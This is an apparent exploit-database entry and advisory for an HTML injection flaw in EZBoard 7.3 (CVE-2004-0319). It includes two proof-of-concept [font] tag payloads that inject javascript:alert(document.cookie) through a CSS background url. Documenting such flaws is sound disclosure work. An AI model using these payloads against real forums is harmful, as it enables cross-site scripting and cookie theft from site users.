EZBoard 7.3 - Font Tag HTML Injection

Author: Cheng Peng Su
type: webapps
platform: php
port: 
date_added: 2004-02-23 
date_updated: 2012-12-30 
verified: 1 
codes: CVE-2004-0319;OSVDB-6808 
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source: https://www.securityfocus.com/bid/9725/info

ezboard is prone to an HTML injection vulnerability. An attacker may exploit this issue by including hostile HTML and script code encapsulated in [font] tags of posts to the bulletin board. This code may be rendered in the web browser of a user who views these areas of the site. This would occur in the security context of the site hosting ezboard.

[font color=red;background:url(javascript:alert(document.cookie))]Big Exploit![/font]
[font face=Verdana;background:url(javascript:alert(document.cookie))]Big Exploit![/font]